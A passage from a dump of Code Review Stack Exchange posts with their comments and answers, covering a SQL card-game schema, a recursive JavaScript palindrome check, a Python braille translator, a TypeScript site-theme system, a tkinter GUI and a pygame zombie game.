frequency DECIMAL
);
CREATE TABLE cards (
id SERIAL PRIMARY KEY,
name VARCHAR PRIMARY KEY,
decks INTEGER,
usedin INTEGER[]
);
CREATE TABLE similarcards (
carda INTEGER REFERENCES cards(id) ON DELETE CASCADE,
cardb INTEGER REFERENCES cards(id) ON DELETE CASCADE,
cooccurences INTEGER
);
</code></pre>
<p>Did I miss any redundancy? Is there anything I could improve on?</p>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-04-26T23:12:47.807",
"Id": "513199",
"Score": "0",
"body": "Welcome to Code Review! The post mentions _SQL Server_ yet the [postgresql tag](https://codereview.stackexchange.com/tags/postgresql/info) is used- should the [sql-server tag](https://codereview.stackexchange.com/questions/tagged/sql-server) be added (instead)?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-04-26T23:58:05.653",
"Id": "513203",
"Score": "0",
"body": "Sorry if it was unclear- by sql server I just meant the provider for the sql database. I'll clarify."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-04-27T00:00:47.303",
"Id": "513205",
"Score": "0",
"body": "Okay thanks ... what do you mean by \"_Did I miss any redundancy?_\"? Does the code work [to the best of your knowledge](https://codereview.stackexchange.com/help/on-topic)?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-04-27T00:03:49.883",
"Id": "513206",
"Score": "0",
"body": "Yes, but things like many-to-many relationships can easily work while still being difficult to maintain, and I'm just a beginner with sql, so I wanted to know if I was missing any best practices kinds of things."
}
] |
[] |
{
"AcceptedAnswerId": null,
"CommentCount": "4",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-04-26T22:33:32.563",
"Id": "260052",
"Score": "0",
"Tags": [
"sql",
"database",
"postgresql"
],
"Title": "MTG Metagame Schema"
}
|
260052
|
<p>Would someone review this code, and confirm that it is indeed recursive? I'm learning computer science and going through different types of algorithms. Right now, I'm focusing on recursion want to ensure that this 'recursive palindrome' method is truly recursive. I've passed six different strings as a test, three that were palindromes and three that were not. The method worked as expected, but again; I'm really looking for a cross-check to ensure this is recursive.</p>
<p>From my understanding, when writing recursive algorithms, the base case should take care of the end of the recursive process. Or, in other words, it should solve the very last sub-problem of the algorithm, after all the recursion has taken place. Please correct me if I am wrong in that thinking.</p>
<p>My observation here is that at some point, the string will end up with 1 character no matter what. Again, the base case <em>should</em> take care of that, but it doesn't. That is why I added the <code>if (str.slice(1, -1).length === 1)</code> check inside of <code>if (firstChar === lastChar)</code>. If the method breaks the word down and it is one character <strong>and</strong> a palindrome, then it will return 'String is a palindrome.' This can be verified when passing 'racecar' as a parameter of the method.</p>
<pre><code>function obtainFirstCharacterOfString(str) {
const firstChar = str.slice(0, 1);
return firstChar;
}
function obtainLastCharacterOfString(str) {
const lastChar = str.slice(-1);
return lastChar;
}
function recursivePalindrome(str) {
// Base case
if (str.length === 0 || str.length === 1) {
return 'String is not a palindrome';
}
const firstChar = obtainFirstCharacterOfString(str);
const lastChar = obtainLastCharacterOfString(str);
if (firstChar === lastChar) {
if (str.slice(1, -1).length === 1) {
return 'String is a palindrome';
} else {
return recursivePalindrome(str.slice(1, -1));
}
} else {
return 'String is not a palindrome';
}
}
</code></pre>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-04-27T05:40:29.237",
"Id": "513217",
"Score": "3",
"body": "Please define palindrome! As I understand it, both empty string and single letter word are palindromes..."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-04-27T05:45:52.577",
"Id": "513218",
"Score": "1",
"body": "This doesn't work for palindromes with even number of characets"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-04-27T05:48:10.343",
"Id": "513219",
"Score": "3",
"body": "Definitely write test for at least 0-4 chars long palindromes and at least 2-4 chars long nonpalindromes!"
}
] |
[
{
"body": "<p>You really didn't need to include the second snippet that you know is not working.</p>\n<p>However, the first snippet is not working correctly either although you thought it does. That's because you didn't write enough tests. The main problem with your implementation is that is treats empty strings and one letter words as non palindromes. But they actually both are palindromes, thats all you need to fix your implementation and actually it would fix the second snippet too.</p>\n<p>Now for some more detail about your code.</p>\n<p>Don't return human readable text from functions that basically want to return a boolean.</p>\n<p>Asking if length is 0 or 1 can be simplified to asking if it is less then 2.</p>\n<p>Slicing a string to get character at certain position is quite ineffective, instead you can just access individual chars using square brackets or charAt method. I'd prefer the bracket access because the algorithm can then also tell if arrays are palindromic, not just strings. The slicing of the input to create n strings of length 1 increases the memory required by the algorithm to O(n) although it already is O(n) because of the recursion but it increases the scale anyway.</p>\n<p>Also slicing the string to get the input for next recursion step is ineffective and not necessary. Instead you could pass around the entire string and index of currently examined character. The slicing is degrading the time complexity to O(n²) and memory complexity also to O(n²).</p>\n<p>For the matter of efficiency I also recommend to avoid recursion entirely but I'll assume recursion is the subject of study here...</p>\n<pre><code>function isPalindrome(input) {\n function isPalindromeDetail(first, last) {\n if (last - first < 1) return true\n if (input[first] !== input[last]) return false\n return isPalindromeDetail(first+1, last-1)\n }\n return isPalindromeDetail(0, input.length-1)\n}\n\nfunction testPalindrome(input, expect) {\n const output = isPalindrome(input)\n if (expect && !output) console.error('Expected ', input, ' to be palindrome')\n if (!expect && output) console.error('Expected ', input, ' not to be palindrome')\n}\n\ntestPalindrome('', true)\ntestPalindrome('a', true)\ntestPalindrome('aa', true)\ntestPalindrome('aba', true)\ntestPalindrome('abba', true)\ntestPalindrome('abcba', true)\n\ntestPalindrome('ab', false)\ntestPalindrome('abc', false)\ntestPalindrome('abbc', false)\ntestPalindrome('abcab', false)\n\ntestPalindrome([1 ,2, 1], true)\ntestPalindrome([1, 2, 3], false)\n</code></pre>\n<p>PS: I am writing on mobile and haven't tested the code...</p>\n<p>PS2: in the above snippet you see that the inner <code>isPalindromeDetail</code> is accessing the <code>input</code> variable from the outer scope rather than having it passed as argument. The same can be done for the <code>first</code> and <code>last</code> variables which only proves that it really doesn't need to be recursive because there is no state that needs to be stacked up.\nIn the recursive form without slicing above we have time complexity O(n) and memory complexity also O(n). In the nonrecirsive form below we have time complexity O(n) and we reduced the memory complexity to O(1) just by not stacking the recursive calls.</p>\n<pre><code>function isPalindrome(input) {\n let first = 0\n let last = input.length - 1\n while (first < last) {\n if (input[first] !== input[last]) return false\n ++first\n --last\n }\n return true\n}\n</code></pre>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-06T00:35:57.937",
"Id": "514038",
"Score": "0",
"body": "To confirm my understanding of memory complexity - this is the amount of memory it takes to run the algorithm, correct? In other words, it is the amount of memory that an algorithm consumes when running? Furthermore, [I've read that the memory complexity only takes into account the local variables](https://cs.stackexchange.com/questions/16461/memory-complexity). Is this correct?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-06T03:20:40.250",
"Id": "514041",
"Score": "1",
"body": "@andrewlundy Yes that's true. But also memory allocated on the heap counts. And also each function invocation sieze a few bytes on the implicit stack. That's why recursion depth level is limited, because eventually being too deep consumes the entire stack."
}
],
"meta_data": {
"CommentCount": "2",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-04-27T06:47:17.683",
"Id": "260064",
"ParentId": "260057",
"Score": "5"
}
}
] |
{
"AcceptedAnswerId": "260064",
"CommentCount": "3",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-04-27T00:19:08.907",
"Id": "260057",
"Score": "-1",
"Tags": [
"javascript",
"recursion",
"palindrome"
],
"Title": "Recursive Palindrome in JavaScript"
}
|
260057
|
<p>For a small project of mine, I will be needing to work a lot with braille translation. To do that, I have already finished a small program that I can use to translate braille into English letters. To make the whole thing a little more modular, I exported all my braille logic into a small module:</p>
<pre><code>from typing import NoReturn, List
from bitmap import BitMap
from enum import Enum
from bidict import bidict
class Dot(Enum):
TOP_LEFT = 0
MIDDLE_LEFT = 1
BOTTOM_LEFT = 2
TOP_RIGHT = 3
MIDDLE_RIGHT = 4
BOTTOM_RIGHT = 5
class BrailleGlyph(BitMap):
UNICODE_BLOCK = 10240
MAPPING = bidict(
{"00000000": " ",
"00000001": "A",
"00000011": "B",
"00001001": "C",
"00011001": "D",
"00010001": "E",
"00001011": "F",
"00011011": "G",
"00010011": "H",
"00001010": "I",
"00011010": "J",
"00000101": "K",
"00000111": "L",
"00001101": "M",
"00011101": "N",
"00010101": "O",
"00001111": "P",
"00011111": "Q",
"00010111": "R",
"00001110": "S",
"00011110": "T",
"00100101": "U",
"00100111": "V",
"00111010": "W",
"00101101": "X",
"00111101": "Y",
"00110101": "Z", }
)
def __init__(self, maxnum: int = 8) -> NoReturn:
super().__init__(maxnum)
self.history: List[Dot] = []
def __str__(self) -> str:
ones = int(self.tostring()[4:], 2)
tens = int(self.tostring()[:4], 2) * 16
return chr(BrailleGlyph.UNICODE_BLOCK + tens + ones)
@classmethod
def from_char(cls, char: str) -> "BrailleGlyph":
return BrailleGlyph.fromstring(cls.MAPPING.inverse[char.upper()])
def is_empty(self) -> bool:
return self.history == []
def click(self, index: Dot) -> NoReturn:
if not self.test(index.value):
self.set(index.value)
self.history.append(index)
def delete(self) -> NoReturn:
self.flip(self.history.pop().value)
def get_dots(self) -> List[Dot]:
return self.history
def to_ascii(self) -> str:
try:
return BrailleGlyph.MAPPING[self.tostring()]
except KeyError:
return "?"
class BrailleTranslator:
def __init__(self) -> NoReturn:
self.glyphs = [BrailleGlyph()]
def __str__(self) -> str:
return "".join(map(str, self.glyphs))
def new_glyph(self) -> NoReturn:
self.glyphs.append(BrailleGlyph())
def delete(self) -> NoReturn:
if self.glyphs[-1].is_empty():
if len(self.glyphs) != 1:
self.glyphs.pop()
else:
self.glyphs[-1].delete()
def click(self, index: Dot) -> NoReturn:
self.glyphs[-1].click(index)
def get_current_glyph(self) -> BrailleGlyph:
return self.glyphs[-1]
def translate(self) -> str:
return "".join(map(lambda x: x.to_ascii(), self.glyphs))
</code></pre>
<p>The primary use-case is going to be - me clicking dots (or some buttons on my keyboard that will set dots on the glyph) and the translation module will just remember what has been clicked and will display results in real-time.</p>
<p>To avoid reinventing too much I used the external <code>bitmap</code> and <code>bidict</code> libraries which both seem very fitting for a task like this.</p>
<p>Is there some way to make this more pythonic? Or maybe some obvious flaws?</p>
<p>Here is also a sample usage:</p>
<pre><code>def braille_translator(self) -> NoReturn:
graph = self.window["-GRAPH-"]
output = self.window["-BRAILLE_OUTPUT-"]
graphed_dots = []
translator = BrailleTranslator()
circle_mapping = {Dot.BOTTOM_LEFT: (50, 250),
Dot.BOTTOM_RIGHT: (150, 250),
Dot.MIDDLE_LEFT: (50, 150),
Dot.MIDDLE_RIGHT: (150, 150),
Dot.TOP_LEFT: (50, 50),
Dot.TOP_RIGHT: (150, 50), }
dot_mapping = {"1": Dot.BOTTOM_LEFT,
"2": Dot.BOTTOM_RIGHT,
"4": Dot.MIDDLE_LEFT,
"5": Dot.MIDDLE_RIGHT,
"7": Dot.TOP_LEFT,
"8": Dot.TOP_RIGHT, }
while True:
event, values = self.window.read()
if event in (None, 'Exit') or "EXIT" in event:
exit()
elif event in "124578": # Left side of numpad!
translator.click(dot_mapping[event])
elif event == " ":
translator.new_glyph()
elif "BackSpace" in event:
translator.delete()
current_dots = translator.get_current_glyph().get_dots()
for circle in [d for d in graphed_dots if d not in current_dots]:
graph.delete_figure(circle)
graphed_dots.remove(circle)
for dot in [d for d in current_dots if d not in graphed_dots]:
circle = graph.draw_circle(circle_mapping[dot],
20, fill_color=GUI.THEME_COLOR)
graphed_dots.append(circle)
output.update(translator.translate())
</code></pre>
<p>And here's a GIF of the sample usage in action:
<a href="https://i.stack.imgur.com/24Yta.gif" rel="noreferrer"><img src="https://i.stack.imgur.com/24Yta.gif" alt="Braille Translation" /></a></p>
<p>It's a thin line between over-fitting the translation module too much for my current task and keeping it modular for future uses!</p>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-04-27T14:53:08.900",
"Id": "513254",
"Score": "1",
"body": "`GUI.THEME_COLOR` is undefined"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-04-27T17:49:25.487",
"Id": "513271",
"Score": "0",
"body": "any reason why the bidict is 8-character long, when you only need 6?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-04-28T08:51:19.760",
"Id": "513323",
"Score": "1",
"body": "@Reinderien The sample usage isn't really part of what I want to be \"reviewed\", hence the GIF showing how that part of the code would work. To make the sample usage code runnable I would have to include the complete GUI code!"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-04-28T08:52:42.313",
"Id": "513324",
"Score": "0",
"body": "@hjpotter92 That was the design decision of the developers of `BitMap`. Taking a look at how a BitMap gets initialized you can find - `nbytes = (maxnum + 7) // 8` implying that 6 bit long bitmap wouldn't even be possible."
}
] |
[
{
"body": "<p>First a few small things:</p>\n<p>If you expect this to be used in other programs, it should be documented: comments to explain implementation choices and details and docstrings to explain how to use the classes and functions in the module.</p>\n<p>A small suggestion: When modeling something, it is often helpful if the interface uses the same numbering or nomenclature used in the real world. For example, the upper left dot is often referred to as dot 1, not dot 0. So the <code>class Dot(enum)</code> might use values 1-6 rather than 0-5. But perhaps the names are the interface and the values are internal.</p>\n<p>Multiplying by 16 is the same as shifting by 4 bits. That is, this:</p>\n<pre><code>def __str__(self) -> str:\n offset = int(self.tostring(), 2)\n return chr(BrailleGlyph.UNICODE_BLOCK + offset)\n</code></pre>\n<p>Is the same as</p>\n<pre><code>def __str__(self) -> str:\n ones = int(self.tostring()[4:], 2)\n tens = int(self.tostring()[:4], 2) * 16\n return chr(BrailleGlyph.UNICODE_BLOCK + tens + ones)\n</code></pre>\n<p>Use <code>dict.get(key, default)</code> with a default value instead of the <code>try... except</code> block:</p>\n<pre><code>def to_ascii(self) -> str:\n return BrailleGlyph.MAPPING.get(self.tostring(), "?")\n</code></pre>\n<p>The <code>BitMap</code> library is overkill and seems to get in the way. For example, the code converts the bits to a string, then converts the string to an int in base 2. But the bits were already stored as a byte in the bit map. I suspect it would be cleaner to implement the bit operations directly.</p>\n<p>It seems odd that a <code>BrailleGlyph</code> object should keep a list of the dots in the order they were added (<code>history</code>). That's like the letter 'A' knowing what order the lines were added. <code>.history</code> is there so the editor can implement an 'undo' feature, but that seems to be a job for the editor, not the <code>BrailleGlyph</code> class.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-04-28T08:47:44.377",
"Id": "513321",
"Score": "0",
"body": "you're right, `history` definitely shouldn't be part of that object! As for BitMap library, I definitely did consider implementing that part on my own, but assumed that there is definitely some extensive BitMap library around that I could use. In retrospect the library is far from extensive and doesn't even provide tools that I need the most."
}
],
"meta_data": {
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-04-28T04:13:21.460",
"Id": "260099",
"ParentId": "260058",
"Score": "2"
}
},
{
"body": "<p>Being blind, I just want to point out that Braille is <em>written</em> in another way, when we do dot-mapping by hand.</p>\n<p>The top left is 1, middle left is 2, bottom left is 3\nTop right is 4, middle right 5, bottom right is 6.</p>\n<p>For computer Braille (as used for contractions and marks on a refreshable Braille display), there are also two bottom dots - left and right, 7 and 8 respectively.</p>\n<p>So in literary Braille (on a book page), the word "Hi" would be written 6, 125, 24. Whereas on a Refreshable Braille Display (Computer Braille) it would be written 1257, 24.</p>\n<p>If you get the numbers correct, it is easy to make conversion tables for other alphabets such as Swedish with ÅÄÖ, Greek, Hebrew, etc. Making it possible to define any character in a standardised way.</p>\n<p>Just for what it's worth...</p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-08-05T10:48:52.080",
"Id": "265722",
"ParentId": "260058",
"Score": "3"
}
}
] |
{
"AcceptedAnswerId": "260099",
"CommentCount": "4",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-04-27T00:39:58.430",
"Id": "260058",
"Score": "8",
"Tags": [
"python",
"python-3.x",
"reinventing-the-wheel"
],
"Title": "Braille Mini-Library in Python"
}
|
260058
|
<p>I’m currently building myself a website using GitHub pages.</p>
<p>I wanted to have a theme system, and recently rebuilt my implementation.<br />
It now manages a <code><style></code> tag with ID <code>theme</code> in the <code><head></code> tag.<br />
I rebuilt it to add support for custom themes, but the in-site UI doesn’t support it yet.</p>
<p>The code maintains two stores of theme information, a persistent one in local storage, and a ephemeral one in session storage. The user can choose to save the theme selected persistently.</p>
<p>The themes are stored as JSON representations of JS objects, which can either be a custom theme or a named theme.<br />
However, the code still tries to parse the saved persistent preference as a raw theme name, too, for backwards compatability.</p>
<p>My main concern with the code was safety, understandability, and reusability which is why I chose to use TypeScript.<br />
I’m somewhat concerned, though, that the more verbose code resulting from making more readable and reusable code might impact loading times.</p>
<p>Here’s the TS script whose JS-compiled version gets loaded into the site:</p>
<pre><code>/**
* Known theme names.
*/
const knownThemes = ["dark", "light", "auto"] as const;
/**
* Represents any theme object.
*/
type Theme = NamedTheme | CustomTheme;
/**
* A theme specified by name.
*/
type NamedTheme = {type: "namedTheme", value: (typeof knownThemes)[number]};
/**
* A theme specified by CSS code.
*/
type CustomTheme = {type: "customTheme", value: string};
/**
* Checks if theme name is known.
*/
function isKnownTheme(name: string): name is NamedTheme["value"] {
return knownThemes.includes(name as NamedTheme["value"]);
}
/**
* Checks for theme object structure.
*/
function isTheme(obj: any): obj is Theme {
return obj.type === "namedTheme" && isKnownTheme(obj.value)
|| obj.type === "customTheme" && "value" in obj;
}
/**
* Gets NamedTheme object from name.
*/
function NamedTheme(name: NamedTheme["value"]): NamedTheme {
return {type: "namedTheme", value: name};
}
/**
* Gets CustomTheme object from CSS code.
*/
function CustomTheme(str: string): CustomTheme {
return {type: "customTheme", value: str};
}
/**
* Default/fallback theme for the website.
*/
let defaultTheme = NamedTheme("auto")
/**
* Gets theme object from string, with compatibility for naked theme names.
*/
function parseTheme(str: string): Theme {
let theme: Theme;
try {
let obj: any = JSON.parse(str)
theme = isTheme(obj) ? obj : defaultTheme;
} catch {
theme = {type: "namedTheme", value: isKnownTheme(str) ? str : "auto"};
}
return theme;
}
/**
* Map from theme name to CSS code for all known named themes.
*/
let themeTable: {[name: string]: string} = {
"dark": ":root {--background-color: #141414; --text-color: white; --link-color: yellow;}",
"light": ":root {--background-color: white; --text-color: #141414; --link-color: crimson;}",
"auto": ":root {--background-color: #141414; --text-color: white; --link-color: yellow;} @media (prefers-color-scheme: light) {:root {--background-color: white; --text-color: #141414; --link-color: crimson;}}"
};
/**
* Gets persistent saved theme preference as string.
*/
function getThemePreference(): string | null {
return localStorage.getItem("theme");
}
/**
* Gets currently active theme from session storage as string.
*/
function getCurrentTheme(): string | null {
return sessionStorage.getItem("theme");
}
/**
* Gets currently active theme as object, falls back to theme preference.
*/
function getTheme(): Theme {
let themeStr: string | null = getCurrentTheme() ?? getThemePreference();
if (themeStr === null) {
return defaultTheme;
}
return parseTheme(themeStr);
}
/**
* Applies theme to website by changing content of a style element.
*/
function applyTheme(theme: Theme): void {
let themeCss: string = theme.type === "namedTheme" ? themeTable[theme.value] : theme.value;
let themeNode: HTMLElement | null = document.getElementById("theme");
if (themeNode !== null) {
themeNode.innerHTML = themeCss;
}
}
/**
* Sets persistent theme preference in local storage.
*/
function setThemePreference(str: string): void {
localStorage.setItem("theme", str);
}
/**
* Sets currently active theme in session storage.
*/
function setCurrentTheme(str: string): void {
sessionStorage.setItem("theme", str);
}
/**
* Gets checkbox state, sets it to unchecked, and returns the original state.
*/
function checkboxHandler(): boolean {
let checkbox: HTMLInputElement = document.getElementById("save-theme") as HTMLInputElement;
let wasChecked: boolean = checkbox.checked
checkbox.checked = false
return wasChecked
}
/**
* Sets current theme, theme preference if needed, and resets checkbox.
*/
function saveThemeHandler(theme: Theme): void {
let themeStr: string = JSON.stringify(theme);
let checked: boolean = checkboxHandler();
if (checked) {
setThemePreference(themeStr);
}
setCurrentTheme(themeStr);
}
/**
* Applies named theme with specified name, saves it, and resets the checkbox.
* Intended to be called by theme control buttons via onclick event.
*/
function buttonHandler(name: NamedTheme["value"]): void {
let theme: NamedTheme = NamedTheme(name);
applyTheme(theme);
saveThemeHandler(theme);
}
// Initialize theme on load.
applyTheme(getTheme());
</code></pre>
<p>The full source code is in the GitHub repo <a href="https://github.com/schuelermine/schuelermine.github.io" rel="nofollow noreferrer">schuelermine/schuelermine.github.io</a>.<br />
You can view the website live at <a href="https://anselmschueler.com" rel="nofollow noreferrer">anselmschueler.com</a>.</p>
|
[] |
[] |
{
"AcceptedAnswerId": null,
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-04-27T01:49:15.847",
"Id": "260059",
"Score": "2",
"Tags": [
"typescript"
],
"Title": "I’d like some feedback on my theme system implementation in TypeScript for my website"
}
|
260059
|
<p>I've been practising trying to write my code neater, so decided to build a practice GUI, the code works, However, how could I tidy this up in terms of separating out the different parts of the GUI, such as a separate defs for labels, Combobox etc? or using a function for the 'with open' section.</p>
<pre class="lang-py prettyprint-override"><code>from tkinter import*
from tkinter.ttk import *
root = Tk()
class GUI:
def __init__(self, master):
self.master = master
master.title('PATM Generator')
master.geometry('+600+300')
#Label1
master.label1 = Label(root, text = 'Select test bed:')
master.label1.grid(row = 0, column = 0, padx = 10, pady = 5)
#Combobox
master.combo = Combobox(root)
master.combo.grid(row =1, column = 0)
master.combo['values'] = (TB)
#Label2
master.label2 = Label(root, text = 'Enter TRD index:')
master.label2.grid(row = 2, column = 0, padx = 10, pady = 5)
#Entry
master.entry = Entry(root)
master.entry.grid(row = 3, column = 0, padx = 10, pady = 0)
#Button
master.button = Button(root, text = 'Append to txt')
master.button.grid(row = 4, padx = 10, pady = 5)
with open('TB.txt') as inFile:
TB = [line for line in inFile]
def main():
GUI(root)
root.mainloop()
main()
</code></pre>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-04-27T10:09:10.107",
"Id": "513239",
"Score": "0",
"body": "the comments do not add additional information, I would just remove them."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-04-29T06:19:54.523",
"Id": "513425",
"Score": "1",
"body": "Welcome to Code Review! What task does this code accomplish? Please tell us, and also make that the title of the question via [edit]. Maybe you missed the placeholder on the title element: \"_State the task that your code accomplishes. Make your title distinctive._\". Also from [How to Ask](https://codereview.stackexchange.com/questions/how-to-ask): \"_State what your code does in your title, not your main concerns about it._\". e.g. _PATM generator_?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-02T17:32:15.030",
"Id": "513746",
"Score": "0",
"body": "[I edited the title](https://codereview.stackexchange.com/revisions/260066/3) so it describes the code. Feel free to [edit] it if you feel there is a more appropriate title."
}
] |
[
{
"body": "<pre><code>if __name__ == "__main__":\n GUI(root)\n root.mainloop()\n</code></pre>\n<p>instead of</p>\n<pre><code>def main():\n GUI(root)\n root.mainloop()\n\nmain()\n</code></pre>\n<p>it's the "pythonic" way of accomplishing what you've written.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-05T08:41:16.023",
"Id": "513982",
"Score": "0",
"body": "Using `main()` _and_ `if __name__ == \"__main__\":` is common as then you can make `main` a setuptool's console entrypoint and have the `if` handle `python -m name` invocation."
}
],
"meta_data": {
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-02T15:37:33.477",
"Id": "260262",
"ParentId": "260066",
"Score": "2"
}
},
{
"body": "<p>You didn't give an example of your text file, maybe that would shed some light on the use of a combo box instead of a text widget.\nYou started out with using self in your class but soon used master.</p>\n<blockquote>\n<p>master.combo = Combobox(root)</p>\n</blockquote>\n<p>Using self. prefix allows you to access the objects, widgets and any other data in other functions.</p>\n<pre><code>apple\norange\nbanana\ngrape\ngrapefruit\ntangerine\n</code></pre>\n<p>combo_stuff.txt</p>\n<p>So I'm guessing that you want to add whatever is typed into the entry widget to your text file- Here's one way to accomplish it.</p>\n<pre><code>from tkinter import*\nfrom tkinter.ttk import *\n\n\n\nclass GUI:\n def __init__(self, master):\n self.master = master\n self.master.title('PATM Generator')\n self.master.geometry('+600+300')\n\n #Label1\n self.label1 = Label(root, text = 'Select test bed') \n self.label1.grid(row = 0, column = 0, padx = 10, pady = 5)\n\n #Combobox\n self.combo = Combobox(root)\n self.combo.grid(row =1, column = 0)\n self.combo['values'] = (TB)\n\n #Label2\n self.label2 = Label(root, text = 'Enter TRD index:')\n self.label2.grid(row = 2, column = 0, padx = 10, pady = 5)\n\n #Entry\n self.entry = Entry(root)\n self.entry.grid(row = 3, column = 0, padx = 10, pady = 0)\n\n #Button\n self.button = Button(root, text = 'Append to txt',\n command=self.append_text)\n self.button.grid(row = 4, padx = 10, pady = 5)\n def append_text(self):\n item= self.entry.get()\n if item: # insure there's text in the entry\n print(item)\n \n with open('combo_stuff.txt', mode='a',) as write_file:\n write_file.write('\\n' + item)\n write_file.close()\n self.entry.delete(0,'end')\n \n\nwith open('combo_stuff.txt') as inFile:\n TB = [line for line in inFile]\n\nif __name__ == '__main__':\n root = Tk()\n GUI(root)\n root.mainloop()\n</code></pre>\n<p>The easiest way to open a file is with the pre-made dialog.\nhere's a link to some examples :\n<a href=\"https://pythonbasics.org/tkinter-filedialog/\" rel=\"nofollow noreferrer\">tkinter file dialog</a></p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-03T05:09:41.870",
"Id": "260283",
"ParentId": "260066",
"Score": "1"
}
}
] |
{
"AcceptedAnswerId": "260283",
"CommentCount": "3",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-04-27T09:43:09.407",
"Id": "260066",
"Score": "4",
"Tags": [
"python",
"tkinter",
"gui",
"user-interface"
],
"Title": "PATM Generator GUI"
}
|
260066
|
<p><strong>Introduction:</strong></p>
<p>So far, the game works well, and my only major concerns, are a bullet system (including a function where you click the mouse to shoot the bullets), and a collision system between the zombies and bullets, as I've tried many different ways to go about those two issues, with no luck. Anyways, if someone were to mind explaining how to implement these two concepts, with the code provided, that would be wonderful.</p>
<p>Iterative review from <a href="https://codereview.stackexchange.com/q/259900">my previous question</a>.</p>
<p>GitHub Repository: <a href="https://github.com/Zelda-DM/Dungeon-Minigame" rel="nofollow noreferrer">https://github.com/Zelda-DM/Dungeon-Minigame</a></p>
<pre><code># --- Imports ---
import pygame
import os
import random
# --- Screen Dimensions ---
SCR_WIDTH = 1020
SCR_HEIGHT = 510
# --- Colors ---
WHITE = [240, 240, 240]
# --- Game Constants ---
FPS = 60
score = 0
lives = 3
# --- Fonts ---
pygame.font.init()
TNR_FONT = pygame.font.SysFont('Times_New_Roman', 27)
# --- Player Variables ---
playerX = 120
playerY = 100
# --- Dictionaries/Lists ---
images = {}
enemy_list = []
bullets = []
# --- Classes ---
class Enemy:
def __init__(self):
self.x = random.randint(600, 1000)
self.y = random.randint(8, 440)
self.moveX = 0
self.moveY = 0
def move(self):
if self.x > playerX:
self.x -= 0.7
if self.x <= 215:
self.x = 215
enemy_list.remove(enemy)
for i in range(1):
new_enemy = Enemy()
enemy_list.append(new_enemy)
def draw(self):
screen.blit(images['l_zombie'], (self.x, self.y))
# --- Functions --
def load_zombies():
for i in range(8):
new_enemy = Enemy()
enemy_list.append(new_enemy)
def clip(value, lower, upper):
return min(upper, max(value, lower))
def load_images():
path = 'Desktop/Files/Dungeon Minigame/'
filenames = [f for f in os.listdir(path) if f.endswith('.png')]
for name in filenames:
imagename = os.path.splitext(name)[0]
images[imagename] = pygame.image.load(os.path.join(path, name))
def main_menu():
screen.blit(images['background'], (0, 0))
start_button = screen.blit(images['button'], (420, 320))
onclick = False
while True:
mx, my = pygame.mouse.get_pos()
if start_button.collidepoint((mx, my)):
if onclick:
game()
for event in pygame.event.get():
if event.type == pygame.QUIT:
pygame.quit()
if event.type == pygame.MOUSEBUTTONDOWN:
onclick = True
clock.tick(FPS)
pygame.display.update()
def game():
load_zombies()
while True:
global playerX, playerY, score, lives, enemy
screen.blit(images['background2'], (0, 0))
score_text = TNR_FONT.render('Score: ' + str(score), True, WHITE)
lives_text = TNR_FONT.render('Lives: ', True, WHITE)
screen.blit(score_text, (20, 20))
screen.blit(lives_text, (840, 20))
screen.blit(images['r_knight'], (playerX, playerY))
heart_images = ["triple_empty_heart", "single_heart", "double_heart", "triple_heart"]
lives = clip(lives, 0, 3)
screen.blit(images[heart_images[lives]], (920, 0))
if lives == 0:
main_menu()
for enemy in enemy_list:
enemy.move()
enemy.draw()
if enemy.x == 215:
lives -= 1
onpress = pygame.key.get_pressed()
Y_change = 0
if onpress[pygame.K_w]:
Y_change -= 5
if onpress[pygame.K_s]:
Y_change += 5
playerY += Y_change
X_change = 0
if onpress[pygame.K_a]:
X_change -= 5
if onpress[pygame.K_d]:
X_change += 5
playerX += X_change
playerX = clip(playerX, -12, 100)
playerY = clip(playerY, -15, 405)
for event in pygame.event.get():
if event.type == pygame.QUIT:
quit()
clock.tick(FPS)
pygame.display.update()
# --- Main ---
pygame.init()
clock = pygame.time.Clock()
screen = pygame.display.set_mode((SCR_WIDTH, SCR_HEIGHT))
pygame.display.set_caption('Dungeon Minigame')
load_images()
main_menu()
</code></pre>
<p><a href="https://i.stack.imgur.com/lEpc2.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/lEpc2.png" alt="Output" /></a></p>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-04-27T14:40:20.393",
"Id": "513252",
"Score": "0",
"body": "You seem to have skipped some of those recommendations, particularly creating a player class and moving global code into functions."
},
{
"ContentLicense": "CC BY-SA 4.0",
